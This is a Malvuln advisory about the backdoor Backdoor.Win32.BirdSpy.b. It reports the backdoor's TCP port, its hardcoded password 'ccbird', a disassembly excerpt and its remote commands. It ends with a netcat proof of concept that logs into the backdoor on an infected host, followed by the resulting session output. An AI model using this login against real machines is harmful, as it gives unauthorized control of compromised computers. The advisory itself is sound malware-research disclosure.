Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/eba3dd81723ddf33621fd85ded577920.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BirdSpy.b
Vulnerability: Weak Hardcoded Credentials
Family: BirdSpy
Type: PE32
MD5: eba3dd81723ddf33621fd85ded577920
Vuln ID: MVID-2022-0523
Dropped files: WinSock.exe
Disclosure: 03/21/2022
Description: The malware listens on TCP port 50829. Authentication is required, however the password "ccbird" is weak and hardcoded in the PE file.

00401E0E                 mov     esi, offset Data ; "ccbird"
00401E13                 push    0               ; flags
00401E15                 push    esi             ; Str

Built-in commands:
==================
byby "kill the malware"
delp "terminate process"
exec "shellexecute pgm"
dlog HATE "send a message"
getd  "get drives"
regw "write to registry"


Exploit/PoC:
nc64.exe x.x.x.x 50829
ccbird
pwok Welcome to Januse's BirdSPY
Januse0128
sysJanuse0128gsys
msgeSystem: Windows NT
Version:6.2
BuildNumber:9200
System Info:''Januse0128
Januse0128dlog HATE 
Januse0128bird
BirdSPY Release version 1..by JanuseChiu
ME.NCU.EDU.TW...YAJanuse0128


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